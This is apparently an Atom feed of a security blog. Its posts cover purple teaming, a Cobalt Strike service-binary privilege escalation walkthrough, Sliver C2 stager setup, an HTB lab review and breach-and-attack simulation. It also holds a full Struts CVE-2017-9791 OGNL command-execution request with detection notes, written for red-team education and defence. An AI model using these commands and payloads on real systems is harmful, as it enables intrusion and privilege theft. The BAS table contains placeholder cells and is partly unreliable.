<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en"><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="http://travisaltman.com/feed.xml" rel="self" type="application/atom+xml" /><link href="http://travisaltman.com/" rel="alternate" type="text/html" hreflang="en" /><updated>2025-07-08T01:36:48+00:00</updated><id>http://travisaltman.com/feed.xml</id><title type="html">Travis Altman</title><subtitle>Jekyll Theme</subtitle><author><name>Travis Altman</name></author><entry><title type="html">Purple</title><link href="http://travisaltman.com/purple/" rel="alternate" type="text/html" title="Purple" /><published>2025-06-03T00:00:00+00:00</published><updated>2025-06-03T00:00:00+00:00</updated><id>http://travisaltman.com/purple</id><content type="html" xml:base="http://travisaltman.com/purple/"><![CDATA[<p>Just a quick blog post to link the talk I gave at RVAsec on Purple Teaming.</p>

<p><a href="https://github.com/travisaltman/talks/blob/main/RUNNING%20A%20PROPER%20PURPLE%20TEAM.pptm">Running a proper purple team</a></p>

<p>It’s now up on <a href="https://www.youtube.com/watch?v=9q0D87_zqps">YouTube</a> if you want to hear how I contextualize lessons I’ve learned in my journey.</p>]]></content><author><name>Travis Altman</name></author><summary type="html"><![CDATA[Just a quick blog post to link the talk I gave at RVAsec on Purple Teaming. Running a proper purple team It’s now up on YouTube if you want to hear how I contextualize lessons I’ve learned in my journey.]]></summary></entry><entry><title type="html">Book Review: Purple Team Strategies</title><link href="http://travisaltman.com/Book-Review-Purple-Team-Strategies/" rel="alternate" type="text/html" title="Book Review: Purple Team Strategies" /><published>2024-06-10T00:00:00+00:00</published><updated>2024-06-10T00:00:00+00:00</updated><id>http://travisaltman.com/Book-Review:-Purple-Team-Strategies</id><content type="html" xml:base="http://travisaltman.com/Book-Review-Purple-Team-Strategies/"><![CDATA[<p>Recently got done reading <a href="https://www.packtpub.com/product/purple-team-strategies/9781801074292">Purple Team Strategies</a> and wanted to capture my thoughts and takeaways.  The concept of Purple Teaming in cybersecurity comes from the military use of <a href="https://en.wikipedia.org/wiki/Sigma_I-67_and_II-67_war_games">War Gaming</a> where they pitted Red teams against Blue teams.  Within cybersecuity we combine these teams, hence Purple, so that defenders can learn from attackers and vice versa.</p>

<p>Who is this book for?  I think the audience has a broad spectrum from those wanting to learn about certain aspects of Purple Teaming to an organization trying to implement a whole service dedicated to Purple Teaming.  The book is fairly comprehensive as it goes into each aspect of the various services that make up a traditional purple Team.  Below are the three main services the book describes as making up a purple team.</p>

<ol>
  <li>CTI (Cyber Threat Intelligence)</li>
  <li>Blue Team</li>
  <li>Red Team</li>
</ol>

<p>There are plenty of books, write ups, and training dedicated to each of those services.  The book goes into detail about each service so if your organization already has those teams at some level of maturity then those sections of the book might not be as important.  For example there are three chapters on the blue team collecting telemetry, detecting attacks, and correlating all that data.</p>

<p>I’d argue your organization doesn’t need to worry about purple teaming if you don’t have a robust blue team that can detect, prevent, and respond to what threat actors are throwing at you.  I’d say the same thing about Red Team meaning if you haven’t been proficient at performing attacks against yourself then get that in order before diving into the purple space.</p>

<p>Having built and ran purple teaming within organizations I’ll go into aspects of the book that resonated with me.</p>

<h2 id="assess-people-processes-and-technologies">Assess People, Processes, and Technologies</h2>

<p>IMHO the main objective of purple teaming is to understand the risk across all three and purple is the service that can reach across all three.  This might seem obvious but where red and blue bleed together some might get confused because the intention isn’t to use the individuals services (e.g., social engineering, intel, threat actor emulation) but to combine them together.  This concept is called out early in the book of which I appreciate.</p>

<h2 id="blind-purple-teaming">Blind Purple Teaming</h2>

<p>On page 30 they get into the concept of “blind” purple teaming.  Most people categorize red teaming as being covert and trying to sneak by the blue team defenders.  So having red teamers keeping their activity blind from blue teamers isn’t anything new but they call out in this section of the book that red team activity can be blind or fully transparent.  I like the concept of a more transparent red team engagement where red and blue are baking out the objectives of each engagement to whereas traditional red team engagements have a lower degree of input from the blue side.</p>

<h2 id="maturity-model">Maturity Model</h2>

<p>Once again early in the book (page 35) they address maturity modeling.  When you’re building out a service it’s always a great exercise to establish where you might be, where you want to go, and how to get there.  Where I might have some push back is the book suggests three levels of maturity to whereas most maturity models in the industry have five.  One good example here is https://www.redteammaturity.com/.</p>

<h2 id="service-output">Service Output</h2>

<p>There isn’t a standard output for most cybersecurity solutions and purple teaming isn’t an exception to this.  Think the book takes a decent stab outlining a report template that can be used to capture the output of purple teaming.  In the past I’ve used everything from power point to ticketing software to capture the output of purple team activities.  What I will say is that their suggestion near page 49 for capturing the output is a solid start.</p>

<h2 id="c2-command--control-variations">C2 (Command &amp; Control) Variations</h2>

<p>In chapter 5 near page 122 they get into various ways of leveraging C2’s.  This resonated with me as it’s been my experience that when trying to emulate threat actor <a href="https://csrc.nist.gov/glossary/term/tactics_techniques_and_procedures#:~:text=A%20tactic%20is%20the%20highest%2Dlevel%20description%20of%20the%20behavior,the%20context%20of%20a%20technique.">TTPs</a> there isn’t one way to go about this.  It’s very common that threat actors leverage C2’s but that’s not a requirement when performing purple teaming.  In the book they mention three variations being phishing, short term, and long term.  I’d expand upon that not with a definitive number of variations but with the emphasis on being flexible in how you emulate threat actors and let the objective of the purple team drive the execution.  There are plenty of attacks you might want to validate defensive controls are in place that don’t involve a C2 or you can emulate the entire <a href="https://www.lockheedmartin.com/en-us/capabilities/cyber/cyber-kill-chain.html">kill chain</a> with a fully setup C2 infrastructure (e.g., domains, redirectors, web servers).  Like how they call this out but I’d just double down there isn’t just X number of ways to tackle this approach.</p>

<h2 id="simulation-vs-emulation">Simulation vs Emulation</h2>

<p>In chapter 9 around page 229 they go into the concept of simulation versus emulation.  They do mention the differences are subtle and that “the community is not fully aligned” but I would argue they have the definitions backwards.  They define emulation as following exact steps laid out in assessment plan but I’ve always viewed that as simulation.  AKA simulation is more strict to whereas emulation is more free flowing.  I’ve written about BAS (breach and attack simulation) before and that’s normally associated with tooling that automates a bunch of TTPs.  So the fact that BAS has simulation in the name and is more automated aligns better with the definition I would suggest.</p>

<h2 id="final-thoughts">Final Thoughts</h2>

<p>If you play in the cybersecurity space at all I think the book is a solid reference.  Because it’s not just about purple teaming but covers aspects across a traditional SOC might face in day to day operations.  There’s plenty I didn’t cover but these are just some aspects of the book that were worth calling attention too.</p>]]></content><author><name>Travis Altman</name></author><summary type="html"><![CDATA[Recently got done reading Purple Team Strategies and wanted to capture my thoughts and takeaways. The concept of Purple Teaming in cybersecurity comes from the military use of War Gaming where they pitted Red teams against Blue teams. Within cybersecuity we combine these teams, hence Purple, so that defenders can learn from attackers and vice versa.]]></summary></entry><entry><title type="html">Cobalt Strike Abuse Service For System Privileges</title><link href="http://travisaltman.com/cobalt-strike-abuse-service-for-system-privileges/" rel="alternate" type="text/html" title="Cobalt Strike Abuse Service For System Privileges" /><published>2024-03-01T00:00:00+00:00</published><updated>2024-03-01T00:00:00+00:00</updated><id>http://travisaltman.com/cobalt-strike-abuse-service-for-system-privileges</id><content type="html" xml:base="http://travisaltman.com/cobalt-strike-abuse-service-for-system-privileges/"><![CDATA[<p>This scenario is based upon an assumed compromise with lower privileges and after doing some endpoint recon we find a service that allows us to configure an exe of our choosing.  It’s a common technique to look for vulnerable or misconfigured services as they tend to run with higher privileges.  Assuming you get passed EDR with the assumed compromised some of these techniques can be noisy but are TTPs threat actors employ. I’m using Cobalt as my C2 of choice but these techniques can be leveraged with plenty of other popular C2 frameworks.</p>

<p>We’ll need two listeners for this scenario (http &amp; tcp).  The http listener is tied to the initial compromise and we’ll use the beacon_bind_tcp as the second listener which will aid in elevating our privileges.  Below are my settings for both http and tcp listeners with cobalt.</p>

<p><img src="/assets/http.png" alt="" title="http" /></p>

<p><img src="/assets/tcp-local.png" alt="" title="tcp-local" /></p>

<p>Once on the compromised endpoint we can run a tool such as SharpUp to determine any priv esc opportunities.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">[</span>03/02 00:47:24] beacon&gt; execute-assembly C:<span class="se">\T</span>ools<span class="se">\S</span>harpUp<span class="se">\S</span>harpUp<span class="se">\b</span><span class="k">in</span><span class="se">\R</span>elease<span class="se">\S</span>harpUp.exe audit
<span class="o">[</span>03/02 00:47:25] <span class="o">[</span><span class="k">*</span><span class="o">]</span> Tasked beacon to run .NET program: SharpUp.exe audit
<span class="o">[</span>03/02 00:47:25] <span class="o">[</span>+] host called home, sent: 149254 bytes
<span class="o">[</span>03/02 00:47:26] <span class="o">[</span>+] received output:

<span class="o">===</span> Modifiable Service Binaries <span class="o">===</span>
	Service <span class="s1">'VulnService1'</span> <span class="o">(</span>State: Running, StartMode: Auto<span class="o">)</span> : C:<span class="se">\P</span>rogram Files<span class="se">\V</span>ulnerable Services<span class="se">\S</span>ervice.exe
</code></pre></div></div>

<p>So SharpUp identified a service where we can modify the service binary but doesn’t show exactly what the permissions are so we need to dig a little deeper.  We can leverage a powershell script to see what service rights we have.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">[</span>03/02 01:21:24] beacon&gt; powershell-import C:<span class="se">\T</span>ools<span class="se">\G</span>et-ServiceAcl.ps1
<span class="o">[</span>03/02 01:21:24] <span class="o">[</span><span class="k">*</span><span class="o">]</span> Tasked beacon to import: C:<span class="se">\T</span>ools<span class="se">\G</span>et-ServiceAcl.ps1
<span class="o">[</span>03/02 01:21:24] <span class="o">[</span>+] host called home, sent: 2156 bytes
<span class="o">[</span>03/02 01:21:46] beacon&gt; powershell Get-ServiceAcl <span class="nt">-Name</span> VulnService | <span class="k">select</span> <span class="nt">-expand</span> Access
<span class="o">[</span>03/02 01:21:46] <span class="o">[</span><span class="k">*</span><span class="o">]</span> Tasked beacon to run: Get-ServiceAcl <span class="nt">-Name</span> VulnService2 | <span class="k">select</span> <span class="nt">-expand</span> Access
<span class="o">[</span>03/02 01:21:46] <span class="o">[</span>+] host called home, sent: 425 bytes
<span class="o">[</span>03/02 01:21:50] <span class="o">[</span>+] received output:

ServiceRights     : ChangeConfig, Start, Stop
AccessControlType : AccessAllowed
IdentityReference : NT AUTHORITY<span class="se">\A</span>uthenticated Users
</code></pre></div></div>

<p>We can see that all Authenticated Users have ChangeConfig, Start and Stop privileges over this service. We can abuse these weak permissions by changing the binary path of the service.  So instead of it running C:\Program Files\Vulnerable Services\Service.exe we can have it run something like C:\Temp\payload.exe.  If you haven’t already go into Cobalt and create the tcp payload that leverages the tcp listener.  Next we’ll configure the service to use our payload versus the service executable of the original service.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>beacon&gt; upload C:<span class="se">\P</span>ayloads<span class="se">\t</span>cp-local.exe
beacon&gt; run sc config VulnService <span class="nv">binPath</span><span class="o">=</span> C:<span class="se">\T</span>emp<span class="se">\t</span>cp-localexe
beacon&gt; run sc qc VulnService
</code></pre></div></div>

<p>You may need to stop and start the service so keep that in mind.  Once the service is up and running with payload we pointed it too we can then connect to our localhost to hopefully have a beacon with elevated privileges.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">[</span>03/02 01:36:36] beacon&gt; connect localhost 4444
<span class="o">[</span>03/02 01:36:36] <span class="o">[</span><span class="k">*</span><span class="o">]</span> Tasked to connect to localhost:4444
<span class="o">[</span>03/02 01:36:36] <span class="o">[</span>+] host called home, sent: 20 bytes
<span class="o">[</span>03/02 01:36:36] <span class="o">[</span>+] established <span class="nb">link </span>to child beacon: 10.10.123.102
</code></pre></div></div>

<p><img src="/assets/system-privs.png" alt="" title="system-privs" /></p>

<p>We can see from the screenshot that we were successful in obtaining a call back with system privileges.</p>]]></content><author><name>Travis Altman</name></author><summary type="html"><![CDATA[This scenario is based upon an assumed compromise with lower privileges and after doing some endpoint recon we find a service that allows us to configure an exe of our choosing. It’s a common technique to look for vulnerable or misconfigured services as they tend to run with higher privileges. Assuming you get passed EDR with the assumed compromised some of these techniques can be noisy but are TTPs threat actors employ. I’m using Cobalt as my C2 of choice but these techniques can be leveraged with plenty of other popular C2 frameworks.]]></summary></entry><entry><title type="html">Hack The Box Dante Pro Lab Review</title><link href="http://travisaltman.com/hack-the-box-dante-pro-lab-review/" rel="alternate" type="text/html" title="Hack The Box Dante Pro Lab Review" /><published>2023-12-10T00:00:00+00:00</published><updated>2023-12-10T00:00:00+00:00</updated><id>http://travisaltman.com/hack-the-box-dante-pro-lab-review</id><content type="html" xml:base="http://travisaltman.com/hack-the-box-dante-pro-lab-review/"><![CDATA[<p>I’ll start with my overall thoughts and takeaways then get into some tips and tricks to hopefully make you more successful if you decide to tackle this challenge.</p>

<h2 id="overall-thoughts">Overall thoughts</h2>

<ul>
  <li>It’s definitely a challeng so if that’s your style of learning then this is right up your alley especially if you don’t want any hand holding along the way</li>
  <li>Challenging yes but rewarding when grabbing flags and completing the whole lab</li>
  <li>Doubling down on this it is a challenge not a course on penetration testing</li>
  <li>Overall structure of the lab is well thought out but just know it gets torn down and rebuilt everyday</li>
  <li>Time of this write up I had a deal of $20 / month (black friday deal) to access the lab but $50 / month is the standard</li>
  <li>The Intermediate classification is probably fair but with some caveats
    <ul>
      <li>The techniques used to exploit the systems are not overly complex but there are a wide range of those techniques</li>
      <li>I’m fairly seasoned as someone who does adversary emulation and it still took me tens of hours to complete</li>
    </ul>
  </li>
  <li>You’re going to need help whether that’s searching online or asking for help within HTB forums or discord</li>
</ul>

<p>That being said would I take it again or do other HTB pro labs?  Maybe, I’d advise others that you’ll need to dedicate time and energy if your goal is to complete the lab versus paying however much per month for access to a lab environment.  If your goal is to use this certification to break into the industry then I’d probably go into a different direction as it might be overwhelming as opposed to an exam based certification.  If your goal is to sharpen what you have then I’d say it’s worthwhile even if you don’t complete the entire lab.  Besides if it isn’t what you thought you can always unsubscribe.  So overall that’s my take.</p>

<h2 id="tips-and-tricks">Tips and tricks</h2>

<p>These are just overall tips and tricks I won’t get too much into the nitty gritty but will link to other helpful resources.  Just like  other penetration tests it’s a must you take extremly good notes especially since the lab refreshes daily.  When completing all 27 flags you’ll need to be able to reference how you accomplished every single one.  Mentioned earlier the rating of Intermediate might be over stated but when trying to exploit a box what’s usually presented is probably what you should dig further into.  For example if it’s a wordpress website look for vulns for that.  If it’s an FTP server try default creds or creds you’ve already obtained.  There are a handful of gotchas that aren’t as straight forward and in those instances I’d search online or hit up the HTB communities.</p>

<p>From a technical standpoint when trying to achieve all the flags there are a handful of things to consider.</p>
<ul>
  <li>Privilege escalation: Once you do get a shell you’ll need to get root or admin access and for that PEAS is a great tool to start with</li>
  <li>Credential reuse: Whenever you find credentials add them to your dictionary and know the format certain brute force scanners use those dictionaries so that you can easly launch them once you’ve obtained new creds</li>
  <li>Pivoting: Other write ups mention this but what I’ll add is sure you should be familiar with tools such as proxy chains, ligolo, etc. but certain tools work better in certain scenarios so best to have a playbook for your personal go to pivot tools</li>
  <li>Payloads and file transfers: This goes somewhat hand in hand with pivoting but reverse shells are a huge part of the lab so get familiar with common ways (e.g., webshells, meterpreter payloads) to generate and use those.</li>
</ul>

<p>Was hesitant to put tooling as a bullet point as I think it’s implied but be proficient with tools like metasploit, crackmapexec, john the ripper, nmap scripts especially brute force ones, netcat, impacket, evil-winrm, skipfish, burp, feroxbuster, sqlmap, proxy chains, ligolo, kerbrute, GetNPUsers.py, secretsdump, and rubeus just to name a few.  Some of those tools are redundant but I used just about all of them to complete the lab.  The more proficient you are with this tooling the faster you’ll be able to capture all the flags.  It’s important to build up your knowledgebase of these tools because it’s better to have your intepretation of tool usage versus a standard readme which should help solidify your methodologies.</p>]]></content><author><name>Travis Altman</name></author><summary type="html"><![CDATA[I’ll start with my overall thoughts and takeaways then get into some tips and tricks to hopefully make you more successful if you decide to tackle this challenge.]]></summary></entry><entry><title type="html">Custom sliver stager</title><link href="http://travisaltman.com/custom-sliver-stager/" rel="alternate" type="text/html" title="Custom sliver stager" /><published>2023-01-08T00:00:00+00:00</published><updated>2023-01-08T00:00:00+00:00</updated><id>http://travisaltman.com/custom-sliver-stager</id><content type="html" xml:base="http://travisaltman.com/custom-sliver-stager/"><![CDATA[<p>First all props go to Dominic doing all the hard work and if you want to know the nitty gritty plus different ways of getting custom stagers up and running go check out his write up.</p>

<p><a href="https://dominicbreuker.com/post/learning_sliver_c2_06_stagers/">https://dominicbreuker.com/post/learning_sliver_c2_06_stagers/</a></p>

<p>My experience is that custom stagers can help evade automated detection mechanisms but realizing it’s always a cat and mouse game these are just the steps that have worked for me as of this write up.</p>

<p>Sliver instructions within Kali</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>apt-get <span class="nb">install </span>sliver
sliver-server
profiles new <span class="nt">--http</span> IP:80 <span class="nt">--format</span> shellcode name
stage-listener <span class="nt">--url</span> http://IP:80 <span class="nt">--profile</span> name
</code></pre></div></div>

<p>Above the IP is the C2 server / Kali IP address and the ‘name’ refers to the unique name you assign it on the command line. Once that’s done then head over to your windows target and compile the stager following the simple instructions below.</p>

<p><a href="https://github.com/travisaltman/sliver-c-stager/blob/main/README.md">https://github.com/travisaltman/sliver-c-stager/blob/main/README.md</a></p>

<p>After executing the compiled exe you should hopefully have a session within Sliver to continue your post exploitation goodness.</p>]]></content><author><name>Travis Altman</name></author><summary type="html"><![CDATA[First all props go to Dominic doing all the hard work and if you want to know the nitty gritty plus different ways of getting custom stagers up and running go check out his write up. https://dominicbreuker.com/post/learning_sliver_c2_06_stagers/ My experience is that custom stagers can help evade automated detection mechanisms but realizing it’s always a cat and mouse game these are just the steps that have worked for me as of this write up.]]></summary></entry><entry><title type="html">CVE-2017-9791 exploit details</title><link href="http://travisaltman.com/cve-2017-9791-exploit-details/" rel="alternate" type="text/html" title="CVE-2017-9791 exploit details" /><published>2020-03-08T00:00:00+00:00</published><updated>2020-03-08T00:00:00+00:00</updated><id>http://travisaltman.com/cve-2017-9791-exploit-details</id><content type="html" xml:base="http://travisaltman.com/cve-2017-9791-exploit-details/"><![CDATA[<p>Was looking back through some of my notes and came across this write up I did for a Struts exploit. Nothing crazy but what I liked about the notes I captured was around detection on what defenders could have alerted on when this exploit came out. Enjoy!</p>

<p>Confirmed publicly released exploits of CVE-2017-9791 do allow remote code execution with privileges of the web server.  In recent vulnerabilities involving Struts and others it appears that most business functions follow the best practice of running the web server without admin or root privileges but of course this needs to be confirmed on a case by case basis.</p>

<p>The vulnerable functionality within Struts 2.3.X and below is a sample Struts application that comes bundled by default named struts2-showcase, this application is not installed by default so one would have to intentionally deploy this application.  Below is a screenshot showing it deployed.</p>

<p><img src="https://lh5.googleusercontent.com/Cna7087uCh5hl3NVMnHjc5lqM8ebpQvU8Al1V8fei6YU2xxhzWOwWdi3riS8SvBe2GpNuxyYd0CHrjyDc8hF5VLtFDy-1oKLcM_YGDHQ9WTzeRZdglj2ji55yfAhBXr-eHaRntmM" alt="" /></p>

<p>Below is a screenshot of the vulnerable functionality within Showcase.</p>

<p><img src="https://lh4.googleusercontent.com/_8yGvO5MwjNvFFpDXuWXANsrIXKzbp8dfnZR0VbDbCQqUAkuatZ2Un38nVivkBBuyGozvs4_QvjoZBF7wG-nZ9mwI6kmeMyYNEovYx97xBoA89gEutZmb8ZNY7M6943hhvVcyFQL" alt="" /></p>

<p>The URL to access this functionality is <a href="http://hostname.com/struts2-showcase/integration/editGangster.action">http://hostname.com/struts2-showcase/integration/editGangster.action</a>, once there one can fill out the forms and submit the request to test the working example.  Once that request is submitted it goes to the server as a post request.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>POST /struts2-showcase/integration/saveGangster.action  
</code></pre></div></div>

<p>Knowing if these URLs exist is one way of determining if the underlying Struts system is vulnerable as Struts 2.5.X does not contain this functionality.  Struts 2.5.X will contain the struts2-showcase application but not the Struts1 plugin. In comparing the downloads of different Struts version only the ones with the “struts2-struts1-plugin” Jar file were vulnerable.</p>

<p><img src="https://lh3.googleusercontent.com/Kt1dnmIX8iUrZh5QqtzhQwldfHbFQcFBkAPSzuHH9Y_PewFTLJR8o1KQiNOtF0Pc9LQMUSHU0xBHwpjbciCUoIKlebdh7agT9Rqu1FbGEOBwhHu48YhgZ-EFCo5yhh5SX5CtKCnS" alt="" /></p>

<p>So if the vulnerable application isn’t deployed but you had access to the file system of the web server then checking for the struts2-struts1-plugin Jar file is another way of confirming if the underlying system could be exposed in the future.</p>

<p>We used publicly known techniques to confirm exploitation was possible, similar to a posting here <a href="https://github.com/nixawk/labs/issues/8">https://github.com/nixawk/labs/issues/8</a>.  Sending a specialized URL request with a proof of concept to execute the command whoami can be seen below.</p>

<p><img src="https://lh4.googleusercontent.com/mrHQtGcs7kY7vgWlKrXZgn0Rrbm1OI4zzejyjStQwmFqhD5dhjenv-gJkVWzgE8tzpMRIQObhsxBXSfsAqSC0fhsU9_X4dZ5KVofI-v7vmz5LWpXoHaA12TaDA2EqudzN9ubY3Z3" alt="" /></p>

<p>The request has to be URL encoded but the complete translation is below.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>POST /struts2-showcase/integration/saveGangster.action HTTP/1.0
Content-Length: 1187
Host: 192.168.142.216:8080
Content-Type: application/x-www-form-urlencoded
Connection: close
User-Agent: Python-urllib/2.7  

name=%{(#\_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT\_MEMBER\_ACCESS).(#\_memberAccess?(#\_memberAccess=#dm):((#container=#context\['com.opensymphony.xwork2.ActionContext.container'\]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}&amp;age=1337&amp;\_\_cheackbox\_bustedBefore=true&amp;description=blah
</code></pre></div></div>

<p>Here is the exploit being ran from the command line via a python script.</p>

<p><img src="https://lh6.googleusercontent.com/BxY99kAz6J2xN5sGQLFsEe9rn4SJcFHGAfYV_cDrMHAQ7ru-vMuwrpKioKNjuf_miRS9EhgkA4_0KHLsATVeMJdjDi_gYG8EkcmGiw6ouG3tdMz77tPWLEi5rElzbxJhNzx0fCQq" alt="" /></p>

<p>If logging is enabled within Tomcat it will have the individual URL requests, in Windows these logs are located in c:\Program Files (x86)\Apache Software Foundation\Tomcat\logs with the name of the log being localhost_access_log.date.  A snippet of these logs are below with the last request being the saveGangster.action request.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>192.168.142.216 - - \[08/Jul/2017:20:03:51 -0400\] "GET / HTTP/1.1" 200 11418
192.168.142.216 - admin \[08/Jul/2017:20:03:53 -0400\] "GET /manager/html HTTP/1.1" 200 12398
192.168.142.216 - admin \[08/Jul/2017:20:04:40 -0400\] "POST /manager/html/upload?org.apache.catalina.filters.CSRF\_NONCE=817A45627CEDACBC2F98D9BF3B598839 HTTP/1.1" 200 14179
192.168.142.128 - admin \[08/Jul/2017:20:04:55 -0400\] "GET /manager/html HTTP/1.1" 200 14179
192.168.142.128 - - \[08/Jul/2017:20:04:55 -0400\] "GET /manager/images/tomcat.gif HTTP/1.1" 304 -
192.168.142.128 - - \[08/Jul/2017:20:04:55 -0400\] "GET /manager/images/asf-logo.svg HTTP/1.1" 304 -
192.168.142.128 - - \[08/Jul/2017:20:05:00 -0400\] "GET /struts2-showcase/index.action HTTP/1.1" 200 10870
192.168.142.128 - - \[08/Jul/2017:20:05:00 -0400\] "GET /struts2-showcase/struts/utils.js HTTP/1.1" 200 4730
192.168.142.128 - - \[08/Jul/2017:20:05:07 -0400\] "GET /struts2-showcase/integration/editGangster.action HTTP/1.1" 200 12001
192.168.142.128 - - \[08/Jul/2017:20:05:07 -0400\] "GET /struts2-showcase/struts/xhtml/styles.css HTTP/1.1" 200 1093
192.168.142.128 - - \[08/Jul/2017:20:05:07 -0400\] "GET /struts2-showcase/struts/utils.js HTTP/1.1" 200 4730
192.168.142.128 - - \[08/Jul/2017:20:10:16 -0400\] "POST /struts2-showcase/integration/saveGangster.action HTTP/1.1" 200 11408  
</code></pre></div></div>

<p>This remote code execution exploit has been proven to work on Windows and *nix systems.  For detection purposes simply looking for the gangster.action in logs would be a great indicator of malicious activity but not the end all be all.  There are different styles of payloads that can be used to take advantage of this vulnerability so a combination of the gangster.action plus ONGL functionality plus OS style commands will be a better indicator of malicious activity.</p>]]></content><author><name>Travis Altman</name></author><summary type="html"><![CDATA[Was looking back through some of my notes and came across this write up I did for a Struts exploit. Nothing crazy but what I liked about the notes I captured was around detection on what defenders could have alerted on when this exploit came out. Enjoy!]]></summary></entry><entry><title type="html">Why your organization should be doing Breach &amp;amp; Attack Simulations</title><link href="http://travisaltman.com/why-your-organization-should-be-doing-breach-&-attack-simulations/" rel="alternate" type="text/html" title="Why your organization should be doing Breach &amp;amp; Attack Simulations" /><published>2019-02-01T00:00:00+00:00</published><updated>2019-02-01T00:00:00+00:00</updated><id>http://travisaltman.com/why-your-organization-should-be-doing-breach-&amp;-attack-simulations</id><content type="html" xml:base="http://travisaltman.com/why-your-organization-should-be-doing-breach-&amp;-attack-simulations/"><![CDATA[<p>Some would say what’s old is new again when it comes to a phrase like “breach and attack simulations”.  How is this different from vulnerability scanning, pentesting, or red teaming?  Really it’s more of a maturation of cyber security services so if your organization doesn’t currently employ a combination of vulnerability scanning, penetration testing, or red teaming then breach and attack simulations services should probably be lower on your list.</p>

<p>What is Breach &amp; Attack Simulation (BAS)?</p>

<blockquote>
  <p><em>“It’s an automated  or semi-automated emulation of threat actors TTP’s (tactics, techniques, and procedures) against information systems within your organization’s environment to determine how effective your current controls would protect, detect, and defend those information systems from malicious users.”</em></p>
</blockquote>

<p>Now there are various definitions out there but think that pretty much sums up the intent of having a service like this in place.  That may sound like what red teaming and penetration testing are meant to accomplish but they aren’t one to one and their objectives are completely different.  I’ve done this before and called it an “assumed compromise” so really it’s a play on that but calling out breach and attack simulation as a separate capability or service helps more clearly define the objective you’re going after.</p>

<p>So how do the services differ and what are the main goals of introducing something like an assumed compromise or breach simulation?  The quick breakdown on the differences below should help.</p>

<table>
  <thead>
    <tr>
      <th>Feature</th>
      <th>BAS</th>
      <th>Pentesting</th>
      <th>Red Teaming</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Objective</td>
      <td>Control and posture</td>
      <td>Identify weakness</td>
      <td>Bolster blue team</td>
    </tr>
    <tr>
      <td>Consistency</td>
      <td>High: run exact same scenario every time</td>
      <td>Medium: follows a framework but human driven</td>
      <td>Low: depends up conditions</td>
    </tr>
    <tr>
      <td>Attack elements</td>
      <td>Tenth entry</td>
      <td>Eleventh entry</td>
      <td>Twelfth entry</td>
    </tr>
    <tr>
      <td>Thirteenth entry</td>
      <td>Most if not all stages</td>
      <td>Usually focused on recon &amp; exploitation</td>
      <td>Varies but tends to be post exploitation</td>
    </tr>
  </tbody>
</table>

<p>This break down should help delineate the services and as you’re trying to mature cyber security services within your organization and leverage the table above to highlight the benefit that a BAS would provide.  So as you’re making the case for BAS within your organization whether that’s additional head count to support the service or if it’s simply a service you’d like to introduce alongside other services the above table will point your leadership in the right direction but let’s dig deeper into the benefits of BAS.</p>

<p><strong>Key Benefits of BAS</strong></p>

<ol>
  <li><strong>Cost</strong>:  Spinning up resources to perform penetration testing or red teaming requires a lot of cycles.  Wing to wing penetration tests and red team assessments can last anywhere from 3 - 6 months and involve numerous resources.  Having a BAS solution is more cost effective as it eliminates the need for additional resources plus automates the task of pentesting and red teaming activities.</li>
  <li><strong>Mimics larger set of TTP’s consistently</strong>:  Penetration Testing and Red Teaming usually only care about the end game and aren’t necessarily interested in testing the whole environment to whereas BAS will test across the board all the different scenarios that a threat actor might leverage.  This is key as red teams or pentesters may not run a particular scenario for a number of reasons but BAS would cover that and may find something others would miss.</li>
  <li><strong>Agile</strong>:  Similar to the ease of launching a vulnerability scanner against a particular target leveraging a BAS solution one should easily be able to kick off a simulation against an environment.</li>
  <li><strong>Evaluation</strong>:  Having the ability to run the simulations in almost any environment is very handy.  As most know the attack surface across the organization varies and if it were all the same then that’d be a whole lot easier to defend but we don’t live in <a href="https://www.youtube.com/watch?v=C-ztmhwkEUw">rainbow land</a>.  Whether it’s running BAS on a more frequent basis to test your organization’s core detection capabilities or if it’s testing it against a business function within your organization that has customized applications and configurations BAS allows you to quickly and easily evaluate your risk posture.</li>
</ol>

<p>Beyond some of the key benefits and the differences in technologies or services BAS will afford your organization what you really want from any new offering is what it’s going to achieve.  I’ve defined and highlighted features of BAS but the <strong><em>main intent is to discover any cyber security controls that may be deficient</em></strong> in your environment so to that point what are some of the main features that BAS will employ to help identify those gaps?</p>

<ul>
  <li>Network assessment:  The multiple attack simulations will test all the various NIDS and alerts the SOC has setup to see which ones are getting notified appropriately</li>
  <li>Data exfiltration:  Will test various outbound techniques to see what controls are in place to defend against attackers getting information outside your boundaries</li>
  <li>Lateral movement:  Can perform threat actor techniques for such things as privilege escalation and lateral movement within your network and information systems</li>
  <li>Endpoint assessment:  Anti-virus, end point logging, and various other technologies are there to help alert or contain a threat so BAS has features to identify any gaps that might be missing with endpoint protections</li>
  <li>Email gateway:  Hopefully your email gateway is working like it should to protect your organization but if not BAS has the capability to test some of the various techniques threat actors are leveraging (office docs, pdfs, .Net apps, etc.) to get passed your defenses</li>
</ul>

<p>This list could go on for quite a while but these are some of the major categories where a BAS solution could test cyber security controls that are simply not working at all or not deployed effectively.</p>

